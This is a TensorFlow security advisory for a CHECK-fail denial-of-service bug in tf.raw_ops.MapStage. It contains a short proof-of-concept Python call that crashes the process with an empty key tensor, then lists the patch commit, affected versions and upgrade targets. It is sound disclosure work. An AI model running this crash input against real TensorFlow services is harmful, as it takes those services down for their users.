`CHECK`-fail in `MapStage`

Overview

Impact

An attacker can trigger a denial of service via a CHECK-fail in tf.raw_ops.MapStage:

import tensorflow as tf
  
tf.raw_ops.MapStage(
  key=tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64),
  indices=tf.constant((0), dtype=tf.int32),
  values=[tf.constant((0), dtype=tf.int32)],
  dtypes=[tf.int32,
  tf.int64],
  capacity=0,
  memory_limit=0,
  container='',
  shared_name='')

The implementation does not check that the key input is a valid non-empty tensor.

Patches

We have patched the issue in GitHub commit d7de67733925de196ec8863a33445b73f9562d1d.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Affected packages

• tensorflow < 2.3.4
• tensorflow >= 2.4.0, < 2.4.3
• tensorflow >= 2.5.0, < 2.5.1
• tensorflow-cpu < 2.3.4
• tensorflow-cpu >= 2.4.0, < 2.4.3
• tensorflow-cpu >= 2.5.0, < 2.5.1
• tensorflow-gpu < 2.3.4
• tensorflow-gpu >= 2.4.0, < 2.4.3
• tensorflow-gpu >= 2.5.0, < 2.5.1

Remediation

Upgrade to a patched release:

• tensorflow 2.3.4
• tensorflow 2.4.3
• tensorflow 2.5.1
• tensorflow-cpu 2.3.4
• tensorflow-cpu 2.4.3
• tensorflow-cpu 2.5.1
• tensorflow-gpu 2.3.4
• tensorflow-gpu 2.4.3
• tensorflow-gpu 2.5.1